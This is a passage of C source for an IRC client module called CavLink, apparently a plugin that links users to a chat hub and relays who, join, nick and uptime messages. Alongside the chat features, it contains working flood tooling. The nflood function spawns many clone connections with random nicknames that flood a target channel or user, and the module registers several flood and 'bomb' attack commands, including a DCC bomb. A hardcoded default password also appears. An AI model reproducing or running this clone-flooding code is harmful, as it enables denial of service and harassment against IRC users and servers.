		output = cav_say("%s",cparse("%W$1%n!$2%g left%n $0%g","%s %s %s", chan, nick, host));
	}
	else if (!strcmp(comm, "who")) 
		output = handle_who(Client, ArgList, 0);
	else if (!strcmp(comm, "rwho")) 
		output = handle_who(Client, ArgList, 1);
	else if (!strcmp(comm, "pong"))
	{
		output = cav_say("%s", cparse("ping time from server $0secs", "%d", time(NULL)-cavping));
		cavping = 0;
	}
	else if (!strcmp(comm, "luser"))
	{
		int users = 0, opers = 0, llbots = 0, splits = 0;
		users = my_atol(*(ArgList+1));
		opers = my_atol(*(ArgList+3));
		llbots = my_atol(*(ArgList+5));
		splits = my_atol(*(ArgList+7));
		cav_say("%s",cparse("%W$0%g clients%g (%W$1%n user + %W$2%n oper%g)", "%d %d %d", users, users-opers, opers));
		output = cav_say("%s",cparse("%W$0%g llbots %nconnected%g (%W$1%n servers split%g)", "%d %d", llbots, splits));
	}
	else if (!strcmp(comm, "say"))
		output = handle_say(Client, ArgList);
	else if (!strcmp(comm, "msg"))
		output = handle_msg(Client, ArgList);
	else if (!strcmp(comm, "join")) 
	{
		char *chan, *nick, *userhost;
		chan=*(ArgList+1);
		nick=*(ArgList+2);
		userhost=*(ArgList+3);
		output = cav_say("%s",cparse("%W$0%n!$1%g has joined%n $2","%s %s %s",nick, userhost, chan));
		if (!my_stricmp(cav_nickname,nick))
			malloc_strcpy(&cav_channel, chan);
	}
	else if (!strcmp(comm, "disconnected")) 
	{
		char *nick, *host, *reason;
		nick=*(ArgList+1);
		host=*(ArgList+2);
		reason = *(ArgList+3);
		PasteArgs(ArgList, 3);
		output = cav_say("%s",cparse("%W$0%n!$1%g disconnected %nfrom caverns","%s %s %s",nick,host,!reason ? "connection lost":reason));
		if (!my_stricmp(nick, cav_nickname))
			cavhub = NULL;
	}
	else if (!strcmp(comm, "version"))
	{
		PasteArgs(ArgList,0); 
		p = *(ArgList+0);
	}
	else if (!strcmp(comm, "stats"))
	{
		PasteArgs(ArgList,0); 
		p = *(ArgList+0);
	}
	else if (!strcmp(comm, "uptime"))
	{
		PasteArgs(ArgList,1);
		output = cav_say("%s", cparse("Cavhub Uptime %R$0-", "%s", *(ArgList+1)));
	}
	else if (!strcmp(comm, "kline"))
	{
		PasteArgs(ArgList,0); 
		p = *(ArgList+0);
	}
	else if (!strcmp(comm, "error:"))
	{
		p=*(ArgList+1);
		PasteArgs(ArgList, 1);
		output = cav_say("%s", cparse("Error: $0-", "%s", p));
	}
	else if (!strcmp(comm, "rwall"))
	{
		char *nick, *host, *str;
		nick = *(ArgList+1);
		host = *(ArgList+2);
		PasteArgs(ArgList, 3);
		str = *(ArgList+3);
		output = cav_say("%s", cparse("%G!%WWALL%G! [%n$0%g(%W$1%g)]%n $2-", "%s %s %s", nick, host, str));
	}
	else if (!strcmp(comm, "nick"))
	{
		char *nick, *newnick;
		nick = *(ArgList+2);
		newnick = *(ArgList+4);
		if (!my_stricmp(nick, cav_nickname))
			malloc_strcpy(&cav_nickname, newnick);
		output = cav_say("%s", cparse("%W$0%n is now known as %W$1", "%s %s", nick, newnick));
	}
	else if (!strcmp(comm, "split"))
		output = handle_split(Client, ArgList);
	else if (!strcmp(comm, "attack")) 
	{
		if ((output = handle_attack(Client, ArgList)))
		{
			PasteArgs(ArgList, 0);
			p = *(ArgList+0);
		}
	}
	else
	{
		PasteArgs(ArgList, 0);
		p = *ArgList;
	}		
	if (output)
		cav_say(p?p:tmp);
	return;
}

DCC_list *cavlink_connect(char *host, u_short port)
{
	DCC_list	*Client;
	char	*PortName;
	struct	in_addr	address;
	struct	hostent	*hp;
	int	lastlog_level;

	lastlog_level = set_lastlog_msg_level(LOG_DCC);
	if ((address.s_addr = inet_addr(host)) == -1)
	{
		if (!my_stricmp(host, "255.255.255.0") || !(hp = gethostbyname(host)))
		{
			put_it("%s", cparse("$G %RDCC%n Unknown host: $0-", "%s", host));
			set_lastlog_msg_level(lastlog_level);
			return NULL;
		}
		bcopy(hp->h_addr, &address, sizeof(address));
	}
	Client = dcc_searchlist(host, ltoa(port), DCC_RAW, 1, NULL, NULL, -1);
	Client->remport = htons(port);
	bcopy((char *) &address, (char *) &Client->remote, sizeof(address));
	Client->flags = DCC_OFFER | DCC_RAW;
	if (!dcc_open(Client))
		return NULL;
	PortName = ltoa(Client->read);
	Client->user = m_strdup(PortName);
	put_it("%s", cparse(fget_string_var(FORMAT_DCC_CONNECT_FSET), 
		"%s %s %s %s %s %d", update_clock(GET_TIME), "RAW", host, 
		Client->userhost?Client->userhost:"u@h", PortName, port));
	(void) set_lastlog_msg_level(lastlog_level);
	cavhub = Client;
	malloc_strcpy(&Client->user, "CAVLINK"); 
	Client->dcc_handler = cavlink_handler;
	return Client;
}

static char *cavlink _((CtcpEntryDll *dll, char *from, char *to, char *args))
{
IrcVariableDll *newv;
char *address, *password, *ports;
	int port;
	
	if (cavhub)
	{
		put_it("%s", cparse("$G Already cavlinked %R$0%K:%R$1", "%s:%d", get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port")));
		return;
	}
	address = next_arg(args, &args);
	if ((ports = next_arg(args, &args)))
	{
		port = atoi(ports);
		if (port < 100)
			return NULL;
		cav_port = port;
	} else 
		port = cav_port;
	if (!(password = next_arg(args, &args)))
		password = get_dllstring_var("cavlink_pass");
	set_dllstring_var("cavlink_host", address);
	if (!get_dllint_var("cavlink"))
		return;

	cavhub = cavlink_connect(address, (unsigned short)port);

	set_dllstring_var("cavlink_pass", password);
	return NULL;
}

static void toggle_cavwin _((Window *win, char *unused, int onoff))
{
Window *tmp;
	if (onoff)
	{
		if ((tmp = new_window()))
		{
			resize_window(2, tmp, 6);
			tmp->name = m_strdup("CAVLINK");
			set_wset_string_var(tmp->wset, STATUS_FORMAT1_WSET, "[0;43m%>[1;30m[[1;32mCav[1;37mLink[1;30;43m] ");
			tmp->double_status = 0;
			set_current_window(NULL);
			build_status(tmp, NULL, 0);
			update_all_windows();
			set_input_prompt(curr_scr_win, get_string_var(INPUT_PROMPT_VAR), 0);
			cursor_to_input();
		}
	}
	else
	{
		if ((tmp = get_window_by_name("CAVLINK")))
		{
			delete_window(tmp);
			update_all_windows();
			set_input_prompt(curr_scr_win, get_string_var(INPUT_PROMPT_VAR), 0);
			cursor_to_input();
			                        
		}
	}
}


void cavhelp _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
	put_it("%s", cparse("%KÖÄÄÄ %YCavLink%n module ver %W$0%n %Kby %Ppanasync %KÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·", "%s", cav_version));
	put_it(      cparse("%Kº [%Wcavlink cavlink_prompt cavlink_window cavlink_pass%K]             º ", NULL, NULL));
	put_it(      cparse("%Kº [%Wcavlink_attack cavlink_attack_times%K]                            º ", NULL, NULL));
	put_it(      cparse("%Kº [%Rcavlink_floodspawn cavlink_floodping%K]                           º ", NULL, NULL));
	put_it(      cparse("%Kº [%Rcavlink_floodquote cavlink_floodmsg%K]                            º ", NULL, NULL));
	put_it(      cparse("%Kº [%Rcavlink_floodnick cavlink_floodversion%K]                         º ", NULL, NULL));
	put_it(      cparse("%Kº [%Rcavlink_flooddccbomb cavlink_floodcycle%K]                        º ", NULL, NULL));

	put_it(      cparse("%Kº [%Wcsay cgeneral clsay cwho cmsg cjoin cpart cping cver cversion%K]  º ", NULL, NULL));
	put_it(      cparse("%Kº [%Wcwall cluser cunlink clink cattack ckline cboot cmode csplit%K]   º ", NULL, NULL));
	put_it(      cparse("%Kº [%Wcpong cinfo cwhois cme cmotd cquit cconnect cdie ckill chelp%K]   º ", NULL, NULL));
	put_it(      cparse("%Kº [%Wcgrab crwho crwall chubs cstats cuptime csave%K]                  º ", NULL, NULL));

	put_it(      cparse("%Kº [%Rcbomb cvfld cpfld cmfld cqfld ccfld cnfld cefld cspawn%K]         º ", NULL, NULL));

	put_it(      cparse("%Kº [%Wcavlink clink%K]                                                  º ", NULL, NULL));
	put_it(      cparse("%KÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ½ ", NULL, NULL));

}

void cavsave (IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg)
{
IrcVariableDll *newv = NULL;
FILE *outf = NULL;
char *expanded = NULL;
char buffer[BIG_BUFFER_SIZE+1];
	if (get_string_var(CTOOLZ_DIR_VAR))
		snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
	else
		sprintf(buffer, "~/CavLink.sav");
	expanded = expand_twiddle(buffer);
	if (!expanded || !(outf = fopen(expanded, "w")))
	{
		bitchsay("error opening %s", expanded ? expanded : buffer);
		new_free(&expanded);
		return;
	}
	for (newv = dll_variable; newv; newv = newv->next)
	{
		if (!my_strnicmp(newv->name, "cavlink", 7))
		{
			if (newv->type == STR_TYPE_VAR)
			{
				if (newv->string)
					fprintf(outf, "SET %s %s\n", newv->name, newv->string);
			}
			else
				fprintf(outf, "SET %s %d\n", newv->name, newv->integer);
		}
	}
	cav_say("Finished saving cavlink variables to %s", buffer);
	fclose(outf);	
	new_free(&expanded);
	return;
}

extern SocketList sockets[];

time_t nflood_start;
int delay_time = 0;
extern fd_set readables, writables;
char *nflood_chan = NULL;
#define HAVE_JOIN 0x0001
#define DO_FLOOD 0x0002
#define START_FLOOD 0x0004

void do_nflood ( int s )
{
char buffer[BIG_BUFFER_SIZE+1];
	if (!nflood_chan)
		return;
	if (sockets[s].flags & DCC_WAIT)
	{
		dcc_printf(s, "NICK %s\r\n", random_str(3, 11));
		dcc_printf(s, "USER %s %s %s %s\r\n", random_str(3,9), hostname, random_str(1, 20), random_str(1,11));
		sockets[s].flags &= ~DCC_WAIT;
		sockets[s].flags |= DCC_ACTIVE;
		return;
	}
	if (!(sockets[s].flags & DO_FLOOD))
	{
		read(s, &buffer, BIG_BUFFER_SIZE);
		FD_CLR(s, &readables);
		sockets[s].flags |= DO_FLOOD;
		return;
	}
	FD_CLR(s, &writables);
	if ((time(NULL) - nflood_start) < delay_time)
		return;
	if (is_channel(nflood_chan))
	{
		if (!(sockets[s].flags & DO_FLOOD))
			return;
		if (!(sockets[s].flags & HAVE_JOIN))
		{
			dcc_printf(s, "JOIN %s\r\n", nflood_chan);
			sockets[s].flags |= HAVE_JOIN;
		} else
			dcc_printf(s, "NICK %s\r\n", random_str(3,11));
		sockets[s].flags &= ~DO_FLOOD;
	}
	else
		dcc_printf(s, "PRIVMSG %s :%s\r\n", nflood_chan, random_str(100,450));
	sockets[s].flags |= START_FLOOD;
}

void nflood _((IrcCommandDll *interp, char *command, char *args, char *subargs, char *helparg))
{
char *n, *d, *ni;
int count = 1, delay = 20;
int i, s = -1;

char *host = "panasync.canuck.ca";
unsigned short port = 6667;

	if (!args || !*args || !(n = next_arg(args, &args)) || !(d = next_arg(args, &args)) || !(ni = next_arg(args, &args)) || !args || !*args)
	{
		userage("nflood", "#clones delay nick|#channel serverlist");
		return;
	}
	count = my_atol(n);
	if (count <= 0)
		count = 1;
	delay_time = my_atol(d);
	if (delay_time <= 5)
		delay_time = 5;
	host = m_strdup(args);
	for (i = 0; i < count; i++)
	{
		s = connect_by_number(host, &port, SERVICE_CLIENT, PROTOCOL_TCP, 1);
		if (s > -1)
		{
			sockets[s].is_write = sockets[s].is_read = s;
			sockets[s].func = do_nflood;
			sockets[s].flags |= DCC_WAIT;
			FD_SET(s, &readables); FD_SET(s, &writables);
		}
	}	
	nflood_start = time(NULL);
	nflood_chan = m_strdup(ni);

}

char *Cavlink_Version(IrcCommandDll **interp)
{
	return cav_version;
}

int Cavlink_Init(IrcCommandDll **interp)
{
CtcpEntryDll *newc;
IrcVariableDll *newv;
IrcCommandDll *new;
char buffer[BIG_BUFFER_SIZE+1];
char *p;
	
	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->name = m_strdup("CSAY");
	new->func = cavsay;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CLSAY");
	new->func = cavsay;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->name = m_strdup("CGENERAL");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CWHO");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CMSG");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CHELP");
	new->func = cavhelp;
	add_to_list((List **)&dll_commands, (List *)new);




	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CINFO");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CCONNECT");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CDIE");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CQUIT");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CMOTD");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CME");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CRWALL");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);


	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CHUBS");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CWHOIS");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("COPER");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CJOIN");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CSAVE");
	new->func = cavsave;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CPONG");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CPART");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CPING");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CVER");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CVERSION");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CWALL");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CLUSER");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CLIST");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CUNLINK");
	new->func = cunlink;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CLINK");
	new->func = cav_link;
	add_to_list((List **)&dll_commands, (List *)new);





	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CATTACK");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CBOMB");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CVFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CPFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CMFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CQFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CCFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CNFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CEFLD");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CSPAWN");
	new->func = cattack;
	add_to_list((List **)&dll_commands, (List *)new);






	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CKLINE");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CNICK");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CBOOT");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CKILL");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CSPLIT");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CSTATS");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CUPTIME");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CRWHO");
	new->func = cavgen;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CGRAB");
	new->func = cgrab;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("CMODE");
	new->func = cmode;
	add_to_list((List **)&dll_commands, (List *)new);

	new = (IrcCommandDll *) new_malloc(sizeof(IrcCommandDll));
	new->server_func = new->name = m_strdup("NFLOOD");
	new->func = nflood;
	add_to_list((List **)&dll_commands, (List *)new);

	newc = (CtcpEntryDll *) new_malloc(sizeof(CtcpEntryDll));
	newc->name = m_strdup("CAVLINK");
	newc->desc = m_strdup("CavLinking");
	newc->id = -1;
	newc->flag = CTCP_SPECIAL | CTCP_TELLUSER;
	newc->func = cavlink;
	add_to_list((List **)&dll_ctcp, (List *)newc);
	newc = (CtcpEntryDll *) new_malloc(sizeof(CtcpEntryDll));
	newc->name = m_strdup("CLINK");
	newc->desc = m_strdup("CavLinking");
	newc->id = -1;
	newc->flag = CTCP_SPECIAL | CTCP_TELLUSER;
	newc->func = cavlink;
	add_to_list((List **)&dll_ctcp, (List *)newc);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = STR_TYPE_VAR;
	newv->name = m_strdup("cavlink_pass");
	newv->string = m_strdup("boing");
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_window");
	newv->integer = 0;
	newv->func = toggle_cavwin;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = STR_TYPE_VAR;
	newv->name = m_strdup("cavlink_prompt");
	newv->string = (char *)function_cparse("%K[%YCavLink%K]%n");
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);


	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodspawn");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);


	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodquote");
	newv->integer = 0;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodmsg");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodnick");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodversion");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodping");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);
	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));

	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_flooddccbomb");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodcycle");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_floodecho");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = STR_TYPE_VAR;
	newv->name = m_strdup("cavlink_host");
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = INT_TYPE_VAR;
	newv->name = m_strdup("cavlink_port");
	newv->integer = 7979;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = BOOL_TYPE_VAR;
	newv->name = m_strdup("cavlink_attack");
	newv->integer = 1;
	add_to_list((List **)&dll_variable, (List *)newv);

	newv = (IrcVariableDll *) new_malloc(sizeof(IrcVariableDll));
	newv->type = INT_TYPE_VAR;
	newv->name = m_strdup("cavlink_attack_times");
	newv->integer = 6;
	add_to_list((List **)&dll_variable, (List *)newv);

	cavhelp(NULL, NULL, NULL, NULL, NULL);
	malloc_strcpy(&cav_nickname,  nickname);
	sprintf(buffer, "$0+cavlink %s by panasync - $2 $3", cav_version);
	fset_string_var(FORMAT_VERSION_FSET, buffer);
	loading_global = 1;
	snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
	p  = expand_twiddle(buffer);
	load("LOAD", p, empty_string, NULL);
	new_free(&p);
	loading_global = 0;
	return 0;
}
 